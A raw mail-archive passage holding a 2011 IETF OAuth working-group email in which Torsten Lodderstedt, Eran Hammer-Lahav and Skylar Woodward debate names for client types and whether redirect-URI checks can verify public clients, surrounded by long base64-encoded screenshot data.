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 --_005_90C41DD21FB7C64BB94121FBBC2E72345021F377C3P3PW5EX1MB01E_-- From torsten@lodderstedt.net Sat Jul 23 04:25:03 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 4E8E521F8747 for ; Sat, 23 Jul 2011 04:25:03 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.098 X-Spam-Level: X-Spam-Status: No, score=-2.098 tagged_above=-999 required=5 tests=[AWL=0.149, BAYES_00=-2.599, HELO_EQ_DE=0.35, HTML_IMAGE_RATIO_08=0.001, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id ksAkHuGbmPvZ for ; Sat, 23 Jul 2011 04:25:01 -0700 (PDT) Received: from smtprelay05.ispgateway.de (smtprelay05.ispgateway.de [80.67.31.100]) by ietfa.amsl.com (Postfix) with ESMTP id 3534521F873A for ; Sat, 23 Jul 2011 04:24:59 -0700 (PDT) Received: from [79.253.42.18] (helo=[192.168.71.34]) by smtprelay05.ispgateway.de with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.68) (envelope-from ) id 1QkaKH-0002Oh-E3; Sat, 23 Jul 2011 13:24:58 +0200 Message-ID: <4E2AAF88.4050807@lodderstedt.net> Date: Sat, 23 Jul 2011 13:24:56 +0200 From: Torsten Lodderstedt User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.18) Gecko/20110616 Thunderbird/3.1.11 MIME-Version: 1.0 To: Eran Hammer-Lahav References: <4E2740E9.5000209@lodderstedt.net> <4E274191.6020207@lodderstedt.net> <90C41DD21FB7C64BB94121FBBC2E72345021F377AA@P3PW5EX1MB01.EX1.SECURESERVER.NET> <64930E85-923B-4811-8A6B-6A677B95F904@kiva.org> <90C41DD21FB7C64BB94121FBBC2E72345021F377C3@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E72345021F377C3@P3PW5EX1MB01.EX1.SECURESERVER.NET> Content-Type: multipart/alternative; boundary="------------070203000907050103050900" X-Df-Sender: torsten@lodderstedt-online.de Cc: OAuth WG Subject: Re: [OAUTH-WG] Issue 15, new client registration X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 23 Jul 2011 11:25:03 -0000 This is a multi-part message in MIME format. --------------070203000907050103050900 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Am 22.07.2011 23:49, schrieb Eran Hammer-Lahav: > > In many cases you can verify a public client using a registered > redirection URI. > I'm in doubt regarding "many". This kind of verification makes the assumption that the evildoer uses a web application which requires a correct refering to his site. I think client secrets (or other authentication schemes) are much more effective way of verifiying client identities. Or let me put it the other way around. If redirect uri verification is sufficient in many cases. Why do we need a client secret? regards, Torsten. > EHL > > *From:*Skylar Woodward [mailto:skylar@kiva.org] > *Sent:* Friday, July 22, 2011 2:46 PM > *To:* Eran Hammer-Lahav > *Cc:* Torsten Lodderstedt; OAuth WG > *Subject:* Re: [OAUTH-WG] Issue 15, new client registration > > Looks like Torsten already has capture my suggestion which is also > what the Kiva documentation uses... Verifiable/Forgeable identity. > It's precise and avoids making a statement about trust, etc. > > But only developers need such simple one-word classifications. For > end users (e.g., people w/ accounts who approve access for an app) > we're be providing much more verbose explanations. For example. "This > application's identity has ben verified... still (caution, caution, > caution)" or "This application's identity cannot be verified. Only > approve this application if you absolutely trust the application or > link that sent you this page..." > > App users can't discern the significance of public vs. private > credentials. > > To me, public credentials are not credentials at all. Yet another term > to define. Better to be precise. > > Another option (and terminology we use to help developers) Can Keep > Secrets / Can't Keep Secrets. > > Attached screenshots in case anyone is interested in how this plays > out in real-world UI (vs. specs). > > On Jul 22, 2011, at 11:12 PM, Eran Hammer-Lahav wrote: > > > > > > > -----Original Message----- > > From: oauth-bounces@ietf.org > [mailto:oauth-bounces@ietf.org] > On Behalf > > Of Torsten Lodderstedt > > Sent: Wednesday, July 20, 2011 1:59 PM > > To: OAuth WG > > Subject: Re: [OAUTH-WG] Issue 15, new client registration > > 2.1 Client types > > I'm struggeling with the new terminology of "private" and "public" > > clients. In my perception, the text just distinguishes clients > which can be > > authenticated and such which cannot. This is fine but I consider > the wording > > misleading. I would suggest to change it to something like > trusted/untrusted > > or authenticated/unauthenticated or Verifiable/Forgeable. > > > I'm open to changing the names. > > I don't like trusted/untrusted because OAuth does not define trust. > The authenticated/unauthenticated pair is also not ideal because the > terms describe the outcome, not the nature of the client. As for > verifiable/forgeable, I think these terms are too complicated for a > casual reader. > > My intention with public/private is to identify the nature of the > client credentials. So a more verbose version would be 'public > credentials/private credentials'. This also works with 'code' instead > of 'credentials'. > > It's clear from the past year of discussions that we need terminology > to describe these two types. > > Any other suggestions? > > EHL > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth > --------------070203000907050103050900 Content-Type: multipart/related; boundary="------------060208010300090103080103" --------------060208010300090103080103 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Am 22.07.2011 23:49, schrieb Eran Hammer-Lahav:

In many cases you can verify a public client using a registered redirection URI.


I'm in doubt regarding "many". This kind of verification makes the assumption that the evildoer uses a web application which requires a correct refering to his site.

I think client secrets (or other authentication schemes) are much more effective way of verifiying client identities.

Or let me put it the other way around. If redirect uri verification is sufficient in many cases. Why do we need a client secret?

regards,
Torsten.

 

EHL

 

From: Skylar Woodward [mailto:skylar@kiva.org]
Sent: Friday, July 22, 2011 2:46 PM
To: Eran Hammer-Lahav
Cc: Torsten Lodderstedt; OAuth WG
Subject: Re: [OAUTH-WG] Issue 15, new client registration

 

Looks like Torsten already has capture my suggestion which is also what the Kiva documentation uses… Verifiable/Forgeable identity.  It's precise and avoids making a statement about trust, etc.

 

But only developers need such simple one-word classifications.  For end users (e.g., people w/ accounts who approve access for an app) we're be providing much more verbose explanations. For example. "This application's identity has ben verified… still (caution, caution, caution)"  or  "This application's identity cannot be verified. Only approve this application if you absolutely trust the application or link that sent you this page…"

 

App users can't discern the significance of public vs. private credentials.

 

To me, public credentials are not credentials at all. Yet another term to define. Better to be precise.

 

Another option (and terminology we use to help developers) Can Keep Secrets / Can't Keep Secrets.

 

Attached screenshots in case anyone is interested in how this plays out in real-world UI (vs. specs).

 

 

 

 

On Jul 22, 2011, at 11:12 PM, Eran Hammer-Lahav wrote:






-----Original Message-----

From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf

Of Torsten Lodderstedt

Sent: Wednesday, July 20, 2011 1:59 PM

To: OAuth WG

Subject: Re: [OAUTH-WG] Issue 15, new client registration

 

2.1 Client types

 

I'm struggeling with the new terminology of "private" and "public"

clients. In my perception, the text just distinguishes clients which can be

authenticated and such which cannot. This is fine but I consider the wording

misleading. I would suggest to change it to something like trusted/untrusted

or authenticated/unauthenticated or Verifiable/Forgeable.


I'm open to changing the names.

I don't like trusted/untrusted because OAuth does not define trust. The authenticated/unauthenticated pair is also not ideal because the terms describe the outcome, not the nature of the client. As for verifiable/forgeable, I think these terms are too complicated for a casual reader.

My intention with public/private is to identify the nature of the client credentials. So a more verbose version would be 'public credentials/private credentials'. This also works with 'code' instead of 'credentials'.

It's clear from the past year of discussions that we need terminology to describe these two types.

Any other suggestions?

EHL
_______________________________________________
OAuth mailing list
OAuth@ietf.org
https://www.ietf.org/mailman/listinfo/oauth

 


--------------060208010300090103080103 Content-Type: image/png Content-Transfer-Encoding: base64 Content-ID: iVBORw0KGgoAAAANSUhEUgAAAqAAAADXCAIAAABK5nTCAAAXh2lDQ1BJQ0MgUHJvZmlsZQAA eAGtWXk8lN/3v8/sM4xt7Pu+77Jn37NmJ2IY+xJjCGmxpEILSbZSyFq0CEkJoSJZCoXSIkSl kLJ+H6rP9/PH7/vf73m95rnvOfecc8+958y959wBgKuOHBERimACICycRrU3MxR0dXMXxI4C LGAFzEAKYMi+UREGdnZW4H8+P4YAtNU5KLel63+y/d8dzBS/KF8AIDu424cS5RsG4zoAEPW+ EVQaAKgtfSL7aRFb+AyMWamwgTAu3cIBv3HjFvb5jXu2eRztjWCeCQBw9GQyNQAA+jmYLhjj GwDrIdIDgGEJpwSFA0AShLGubyCZAgCXN8wjGxa2bwtnwFjS5196Av6FyWSff3SSyQH/4N9z gSXhgY2DoiJCyXHbX/4/X2Gh0fB6bT/s8Js+gmZoD7ec8LpxBtEsHGHMCmPFwGhzpz/YOD7Q 0WWLF6a7hvvY2MKYBcYU3ygjeC0BrAeKCdlnuaVniyeD4mdsAmM4KqDcqBiHv7giPtDI5g+P azB515bPGGCeRjIVRr/H7Yyg2W3ZsKXzVXiojdUfPO9PNd3SD9MRGL8oEwcYwzYgeGlUxy06 bDNC3j/I1ALG8LgIw4jQ7Zjb4rGnRttvzUUUxhS/cKe/sscpZGNLmM4L0/OBFTACxkAQfu8D ofCHCoIABW7/0n3/RXcA8eAzCAd+IAqW2ObwCkqi/sXAFJBh+QC4X+6PvOE2xQ/EwFLrf/l6 5xrm/uI/Mj7/SJiCD9s6/mhQrFacUVz7yy3I+NcujAnGGGOOMcVI/aXAI/2eBXXbPkt4Nn4g GtblB4/9155/zyr6H45/U3+vgf22VAjMEfR3bOC8bVnQP7os/1mZP2uBEkcpo1RRhigdlC5K Ewii2FHcQA61A6WBMkDpobThPs1/rfMfqT/2ywH/7bWK2bY+BHyELYd/1TS/WBrsK2C0LyKO GhQQSBM0gHcLP1lBi3BfeVlBZUUlJbC192zxALBgv72nQOzP/ksLSwZAMxv29Z7/0nwnAGj4 BgD+439pYlFwWCYA0DnrG02N2VYHUFsNGhAAIxxpXIAfiABJeP7KQA1oA31gAnYBW+AI3MBe 4AsCYXupYD9IAIkgFaSDM+AcyAdFoARUgGvgJmgAzaAVdIJu0AdegFEwASbBLJgHP8AqBEFY iAiRIC5IABKDZCBlSAPShUwgK8gecoO8oQAoHIqGEqBkKB3KgvKhy1AldAO6A7VCj6F+6CX0 FpqBvkMrCCSCHsGK4EOIIxQQGggDhCXCEeGJCEBEIuIRKYhTiFxEMeIqoh7RiuhGvEBMIGYR S0iApEOyI4WQckgNpBHSFumO9EdSkYeQacgcZDGyBtmE7EIOIieQc8hfKAyKhBJEycG+NEc5 oXxRkahDqAxUPqoCVY96iBpEvUXNozbQRDQvWgathbZAu6ID0PvRqegcdBn6NroD/QI9if6B wWDYMRIYdTh+3TDBmAOYDMwFTC3mAaYf8x6zhMViubAyWB2sLZaMpWFTsXnYq9gW7AB2EvsT R4cTwCnjTHHuuHBcEi4HV4W7jxvATeFW8Ux4MbwW3hZPwcfhT+NL8U34Z/hJ/CqBmSBB0CE4 EoIJiYRcQg2hgzBGWKCjoxOm06TbTRdEd4Qul+463SO6t3S/6FnopemN6D3oo+lP0ZfTP6B/ Sb9AJBLFifpEdyKNeIpYSWwnvib+ZCAxyDNYMFAYDjMUMNQzDDB8YcQzijEaMO5ljGfMYbzF +IxxjgnPJM5kxERmOsRUwHSHaZhpiZnErMRsyxzGnMFcxfyYeZoFyyLOYsJCYUlhKWFpZ3lP QpJESEYkX1IyqZTUQZpkxbBKsFqwBrOms15j7WWdZ2Nh28HmzBbLVsB2j22CHckuzm7BHsp+ mv0m+xD7CgcfhwGHH8cJjhqOAY5lTh5OfU4/zjTOWs4XnCtcglwmXCFcmVwNXOPcKG5p7t3c +7kvcndwz/Gw8mjz+PKk8dzkecWL4JXmtec9wFvC28O7xMfPZ8YXwZfH1843x8/Or88fzJ/N f59/RoAkoCsQJJAt0CLwSZBN0EAwVDBX8KHgvBCvkLlQtNBloV6hVWEJYSfhJOFa4XERgoiG iL9ItkibyLyogKi1aIJotegrMbyYhlig2HmxLrFlcQlxF/Fj4g3i0xKcEhYS8RLVEmOSREk9 yUjJYsnnUhgpDakQqQtSfdIIaVXpQOkC6WcyCBk1mSCZCzL9smhZTdlw2WLZYTl6OQO5GLlq ubfy7PJW8knyDfJfFEQV3BUyFboUNhRVFUMVSxVHlViUdiklKTUpfVeWVvZVLlB+rkJUMVU5 rNKo8m2HzA6/HRd3jKiSVK1Vj6m2qa6rqatR1WrUZtRF1b3VC9WHNVg17DQyNB5pojUNNQ9r Nmv+0lLTomnd1PqqLacdol2lPb1TYqffztKd73WEdcg6l3UmdAV1vXUv6U7oCemR9Yr13umL 6FP0y/SnDKQMgg2uGnwxVDSkGt42XDbSMjpo9MAYaWxmnGbca8Ji4mSSb/LaVNg0wLTadN5M 1eyA2QNztLmleab5sAWfha9FpcX8LvVdB3c9tKS3dLDMt3xnJW1FtWqyRljvsj5rPWYjZhNu 02ALbC1sz9qO20nYRdrd3Y3Zbbe7YPdHeyX7BPsuB5KDl0OVww9HQ8fTjqNOkk7RTm3OjM4e zpXOyy7GLlkuE64Krgddu9243YLcGt2x7s7uZe5Le0z2nNsz6aHqkeox5CnhGev5eC/33tC9 97wYvchet7zR3i7eVd5rZFtyMXnJx8Kn0Gfe18j3vO8sRZ+STZnx0/HL8pvy1/HP8p8O0Ak4 GzATqBeYEzgXZBSUH/Qt2Dy4KHg5xDakPGQz1CW0NgwX5h12J5wlPCT84T7+fbH7+iNkIlIj JiK1Is9FzlMtqWVRUJRnVCONFU7yeqIlo49Gv43RjSmI+bnfef+tWObY8NieOOm4E3FT8abx Vw6gDvgeaEsQSkhMeHvQ4ODlQ9Ahn0Nth0UOpxyePGJ2pCKRkBiS+DRJMSkraTHZJbkphS/l SMr7o2ZHq1MZUqmpw8e0jxUdRx0POt57QuVE3omNNErak3TF9Jz0tQzfjCcnlU7mntw85X+q 97Ta6YtnMGfCzwxl6mVWZDFnxWe9P2t9tj5bMDste/Gc17nHOTtyis4Tzkefn8i1ym3ME807 k7eWH5j/osCwoLaQt/BE4fIFyoWBi/oXa4r4itKLVi4FXRq5bHa5vli8OKcEUxJT8rHUubTr isaVyjLusvSy9fLw8okK+4qHleqVlVW8VaerEdXR1TNXPa72XTO+1lgjV3O5lr02/Tq4Hn39 0w3vG0M3LW+23dK4VVMnVld4m3Q7rR6qj6ufbwhsmGh0a+y/s+tOW5N20+278nfLm4WaC+6x 3Tt9n3A/5f5mS3zL0oOIB3OtAa3v27zaRttd258/3P2wt8Oy41GnaWd7l0FXyyOdR82PtR7f eaLxpKFbrbu+R7Xn9lPVp7d71Xrrn6k/a+zT7Gvq39l/f0BvoHXQeLDzucXz7hc2L/qHnIZG hj2GJ0YoI9MvQ19+exXzanX0yBh6LG2caTznNe/r4jdSb2on1CbuvTV+2/PO4d3oe9/3sx+i PqxNpnwkfsyZEpiqnFaebp4xnen7tOfT5GzE7Opc6mfmz4VfJL/UfdX/2jPvOj/5jfpt83vG AtdC+eKOxbYlu6XXP8J+rC6n/eT6WfFL41fXisvK1Or+Nexa7rrUetOG5cbYZtjmZgSZSt7O BZDwG+HvD8D3crgWcINrgD4ACAy/a4NtDgCQEMwDYwycWxrDWcAgxA95QpUIgHBF3EVKIPNR HKhCtCy6CxOOFcAO4s7hvQnydCi61/TfGIiMKkx7mJNYbpCm2HjZ3TjOc45xi/FE8N7nZxQI ELwvzCVCFW0WW5FQk4yQKpd+JYuVk5O3UfBXjFVKVD6qkrTjoCpNLUB9t4a0JkrztdYd7Zyd 0TpOuup6PPoI/TmDYcMOo9vG5SaFpllmaeZJFgd20SzDrYKs/WwothQ7yu5A+3AHmuNBp1Tn Uy7nXYvcyt1r99R7NHu27e306vZ+Rh70GfYdpbzz++K/EUgKkg02D/EPPR52Nbxv32IkB1Uj yo0WG50RU7D/auz9uIH4mQTEQf5DOoe9jiQnViUNJm8c5U9VOmZ03OVEWNqx9NKMrpNfT/Od sc/MyOrOZjznlJN3fiyPN9+94Hxh30Vckf6l2Mu1xdOlwlc8yqjlRyrOVBZXNVYPXJ2vIdVq Xw+6UXDzWR3utnq9cwOt8cyd6qa2uy+aJ+99u7/SstmKbEO1Yx7iOwid2M71rrlHfY/Ln1C7 lbqnejKfqj+d6K1+Ft2n14/rHxgoGKQ8l3/+60XHUNYweUTjJffL9VdvRx+OXRlPfe33xmCC d2Lx7ZN3Re9jPthNysFR9m3q1fTjmeZPdbM35q5/vvWl5mvF/LVv7d/nFzWWCpf5f95biVrT 3eDa3IT9j4ZzxZ0gEjRCBMgYOg4NI2QQyYhJOLdqg3PjFrQVehJzAquG/Yi7gPcgCBHm6Gbh CACMRCZRZg0WexKN9RxbE/skJwuXAfd+nmu80/xiAr6Cl4X6hH+Icotpi++RiJI8IZUnXSxT IntR7qx8kkKoor3SDmWS8pTKLTgSzNSY1F6qF2uEaqppAa3H2lk7PXTEdb7qNukd1/c00DBk Nfxq1A1HQ4qpj5m+OZ/5msXoribLPKtYa3cbPVtxO6Ld0u439k8cGhxLnDKdE12ormQ3B3fj PaoeYp7se/F7170WvGfJH3wmfMcpo36j/mMB44Fvgt4Ej4eMhr4KexU+um8c3qknqbNRC7S1 GMx+llieOKF4iQPyCWoH9Q5ZHHY64ptIS0pNLki5ebQ7deY4wwmVNLf0gxnFJztPfTrDlKmW 5Xk2Nbv23HDO11yQx5IvXqBT6HKBdjGn6N6lqWK2ErPSBHj/e1Q+VYmpEq82uUq5llxTWtt5 feYm8ZZynf3toPqDDZmNpXfqm7rujjRP3/vVQnjA2yrfptIu9pDUATrmOoe7Wh9VP85+ktDt 12PzVKNX8plQH28/1wDXIPdz/hciQ5LDCiOqL7Ve6Y+ajtmMu78OeZM8UQzHw/oHzcmDH7um OWdCPrXOSXy+/FVp/t33W4vlP5p/fllVX8/e9j8KrhYUgTs4C8YgPsgZyoM+IHYg0hAzSBtk E0oRVYNWRbdhXDGL2GycNm4af4UQS+dNb0XUYBBj5GAiMmNZIBKSFc2GYWfk4OEU51LlNuFx 5g3iC+X3EXAVtBTaKSwpwghnVN1il8TDJTQkfknelgqXFpMeljksKyj7QI4sD8mXKpgrzClm KWkqvVVOV1FXebfjtKqu6qzaeXVD9c8aeZommvNaBdpm2gs7i3SsdH7qlurZ623q1xtQDZUN F4zqjKNN1EyWTRvM4sy1zVct7u06ZKlvBazarFNszG2Jts/tCncH2Ks4IBz64RiJdrZw4XP5 4tridsbdF44SnMeY5429x728vDXIJPJXnx7fq5QzftH+bgE6gUJB6KCZ4KchN0LPhcWFe+4z jJCJ5KJiqUtR72jPoptiSvanx0bGOcVrHOBKgBJWDkGH8UdYErmTRJJlUlSOaqXqHzM9bnnC Ls0znZpx/GTRqVunO88MZ05mfT27nL12biNnI5eQp5jvVpBSWHNhuAhckrhsXUwtySltvPKy bLNCqZJSdb665xqo2VEbdP3ijcFb2LqdtyPrrzQM38E3ad0Nac6/9+j+4gOBVvO2yPbchy0d 77rQj6Qe2z6J667oGe/lfra3r7J/ddD+efuQ1wjny5Ux6dctb/snaTMNX84uLP56tOX/33dE W2cCRg2AkmIAXOA7CHtrAEplARBThs+PFgDsiAA4agIEVx6A2k4DyKzmn/ODAUjDlWUoOA1X jS/ACnyKGEMh0FnoFvQCWkZwI/QQFDiariNG4NpNCumAPIisQD5HAZQ8ygOVhmpCfULzoK3R iegm9CJGEROGuYr5jFXExmBbcAScG64aj8B74O8S+AjJ8M6zh26Y3ol+iOhKHGPwYZhhjGRc YUphZmQuYJFkqSeZkF6wBrKusWWxS7M/5PDiWOXM5VLnGuKO4eHkaeLdy4fmu8bvKoAWqBP0 F+IW6hdOFzETRYt2ip0Qt5VglxiVLJLykRaV/ihTIRssJyv3Rf6mwn5FPSW80pDyFZX9OxxU 1dS41DbU38NZ9TWtLO398D6lryumh9f7qv/coMmwDo7D2yYNpnfM7pjfsajfdcOyyqrI+qxN ii3Nzne3nb2+g7KjuBO/M6cLuyu7G7e74B5JDxVPvb3WXnu8g8nxPid9+/xI/s4BuYEvgzlC HEIzwtrDf0RIRDpTj0bdpL2OkdwfHdsZz3OAljB4SONwaSJHUmYKy9G8Y2LH69OM00dO0uBT ajirKrso524eQ8G5i5qXfIozSzvLNit1qw9fa72OumlWd6K+qPF209PmTy3EVvX2kI7Kru9P THou9S70Gw2mv+geQbySH9v9OnQi8V3Wh0sfO6c/f/ox9/bLtXnPb4sLtMU3P7SXM34+X2Fe tVg7uF61MbS9fzABBeAAYuG7gw4wC98K7IT8oUyoDq7zNxBiCCtENKII8RixCNfsNsgEZDVy FEUHnyv7UMWoITQd2gAdh65HL2HUMHGYe1g0XEcXYudwBrh83DLeDf+AIEMooGOkO0nPSn+R KENsZrBjmGJMZBJgamX2YyGyNJA8WSHWcjY7tjX2Kg53TiJnO9cBblXuBZ5bvDQ+Vb5l/rsC iYLmQkxCo8LlIjRRIzE2sWnx+xI5klFSdtLyMkSZz7K9crXymQo0RTclXWUxFQaVXzs+qb5W G1R/rNGq2aR1W/v6zqs6lbrlemX6ZQblhrVGd40fmQybTpn9tCDs4rVUsDKwdrDxt421S999 wb7Coc6x3WnQ+aPLihuzu9QeIw9Pz7i9OXC9MUD+5itI8fa75D8RKBjkFVwYMhLGHG6+71DE 